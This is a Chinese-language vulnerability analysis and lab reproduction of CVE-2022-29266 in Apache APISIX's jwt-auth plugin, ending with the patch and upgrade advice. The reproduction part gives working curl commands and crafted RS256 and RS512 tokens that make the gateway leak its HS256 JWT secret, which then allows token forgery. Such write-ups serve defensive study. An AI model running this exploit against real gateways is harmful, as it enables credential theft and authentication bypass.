APISIX CVE-2022-29266 漏洞分析与复现
# 漏洞描述
在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。
# 影响版本
低于 2.13.1 的 Apache APISIX 全部版本。
# 前要介绍
# APISIX
Apache APISIX 是一个由 Apache 基金会孵化的一个开源的云原生 API 网关,具有高性能、可扩展的特点,与传统的 API 网关相比,APISIX 是通过插件的形式来提供负载均衡、日志记录、身份鉴权、流量控制等功能。
# JWT
JSON Web Token 缩写成 JWT,常被用于和服务器的认证场景中,这一点有点类似于 Cookie 里的 Session id
JWT 支持 HS256、RS256、RS512 等等算法,JWT 由三部分构成,分别为 Header(头部)、Payload(负载)、Signature(签名),三者以小数点分割。
JWT 的第三部分 Signature 是对 Header 和 Payload 部分的签名,起到防止数据篡改的作用,如果知道了 Signature 内容,那么就可以伪造 JWT 了。
JWT 的格式类似于这样:
Header.Payload.Signature
实际遇到的 JWT 一般是这种样子
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# 漏洞分析
首先根据官方仓库的漏洞修复代码定位到 /apisix/plugins/jwt-auth.lua 文件的第 364 行,如果 JWT 无效则在 return 返回 401 并给出无效的原因,即 jwt_obj.reason
接着在 lua-resty-jwt 库中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。
.. 表示字符串拼接,即把后面代码的值拼接到字符串中
err and err or secret 所表示的意思是:如果 err 为 nil,则返回 secret 的值,否则返回 err
那么接下来要做的就是怎么样构建 payload 才能让代码进入到第 782 行,从而让 jwt_obj.reason 返回我们想要的 secret 呢?那么就要看看 782 行上面的代码。
通过上图可以看到,如果想执行到第 782 行,需要满足四个条件,分别如下:
- 756 行,JWT 的算法需要是 RS256 或者 RS512
- 758 行,trusted_certs_file 值需要为 nil
- 774 行,secret 值不能为 nil
- 781 行,cert 的值需要为 nil 或者 false
~= 表示不等于
首先,第一个条件,JWT 的算法需要是 RS256 或者 RS512,这个很简单,只需要 JWT 的 header 部分的 alg 参数为 RS256 或者 RS512 即可。
接着,第二个条件,trusted_certs_file 即信任证书文件,APISIX 默认算法是 HS256,而 HS256 和 HS512 不支持这种证书文件的方式,因此只要我们使用 HS256 或者 HS512 算法就行了。
然后,第三个条件,secret 值不能为 nil,当 APISIX 使用 jwt-auth 插件的时候,如果使用的默认算法,就需要指定 secret 的值,那么这个 secret 的值就不会是 nil 了。
最后,第四个条件,cert 的值需要为 nil 或者 false,在 776 行至 779 行的代码中,可以看到会判断 secret 中有没有 CERTIFICATE 和 PUBLIC KEY,如果有那么 cert 就不会是 nil 了,那么也就是说,只要 secret 中没有 CERTIFICATE 和 PUBLIC KEY,代码就会执行到第 782 行,并且返回 secret 的值。
所以分析到这里就基本清楚了,漏洞利用的前提有以下三个:
- APISIX 需要开启 jwt-auth 插件
- jwt-auth 插件算法需要是 HS256 或者 HS512
- secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串
如果满足了这三个前提,当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候,我们就会得到 jwt-auth 中的 secret,从而实现 JWT 伪造了。
那么下面就开始搭环境,复现,顺便验证下漏洞分析的正确性。
# 环境搭建
在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶场,APISIX 版本为 2.11.0,因此我们可以直接用这个靶场作为 CVE-2022-29266 的靶场进行复现。
环境搭建命令:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/apisix/CVE-2020-13945
docker-compose up -d
2
3
访问 http://your-ip:9080 地址即可
# 漏洞复现
首先需要一个 RS256 算法的 JWT 值,这里为了方便直接在 jwt.io (opens new window) 中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。
{"key": "rs-key"}
生成的 JWT 值如下:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg
接着创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 teamssix-secret-key
curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "teamssix-secret-key"
}
}
}'
2
3
4
5
6
7
8
9
10
然后再创建 Route 对象,并开启 jwt-auth 插件
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'
2
3
4
5
6
7
8
9
10
11
12
13
14
这时其实漏洞环境才算搭好,接下来就可以开始发送 Payload 了。
将刚才由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了。
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i
当我们拿到这个 sceret 值后,就可以伪造 JWT Token 了。
那么根据上面的漏洞分析,这里如果使用 RS512 算法应该也能触发这个漏洞,在 jwt.io 上生成 RS512 的 JWT 值如下:
eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew
利用 curl 访问
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew -i
果然使用 RS512 算法同样可以触发,说明漏洞分析的没毛病。
接着看看如果 secret 中包含了 CERTIFICATE 和 PUBLIC KEY 字符串,会返回什么。
重新开一个环境后,创建一个 consumer 对象,这次 secret 设置为 teamssix-CERTIFICATE
curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "teamssix-CERTIFICATE"
}
}
}'
2
3
4
5
6
7
8
9
10
创建 Route 对象,并开启 jwt-auth 插件
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'
2
3
4
5
6
7
8
9
10
11
12
13
14
触发漏洞
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i
可以看到,这里并没有返回刚才设置的 secret 值,而是返回了 not enough data,即 err 的信息,这表明此时 cert 的值已经不为 nil 了,再次证明了上面的分析。
# 漏洞代码修复
观察 APISIX 的漏洞修复信息,可以看到对 jwt-auth.lua 文件的第 364 和 395 行进行了修改,修复信息地址:https://github.com/apache/apisix/commit/61a48a2524a86f2fada90e8196e147538842db89
这里是将原来的直接返回报错原因改成了返回 JWT token invalid 和 JWT token verify failed 的文本信息。
# 修复方案
- 升级至 Apache APISIX 2.13.1 及以上版本
- 安装补丁包,补丁包地址详见:https://apisix.apache.org/zh/blog/2022/04/20/cve-2022-29266
# 总结
这个漏洞最终造成的风险是 JWT 伪造,但前提是需要对方的 APISIX 开启了 jwt-auth 插件才行,并且如果有细心的读者可能会发现,当我们构造 RS256 算法的 JWT 时,需要先知道目标 APISIX consumer 对象的 key 值,因此这个漏洞利用起来还是有一定限制的。
这篇文章也已经同步到了 T Wiki 云安全知识文库中,文库地址:wiki.teamssix.com (opens new window),文库中都是云安全相关的文章,并且有很多来自大家共同贡献的云安全资源,也非常欢迎你一起来补充 T Wiki 云安全知识文库。
由于笔者个人的技术水平有限,因此如果文章中有什么不正确的地方,欢迎在留言处指正,不胜感激。
参考链接:
https://t.zsxq.com/mqnAeeY
https://www.jianshu.com/p/1b2c56687d0d
https://teamssix.com/211214-175948.html
https://apisix.apache.org/blog/2022/04/20/cve-2022-29266
https://zone.huoxian.cn/d/1130-apache-apisix-jwt-cve-2022-29266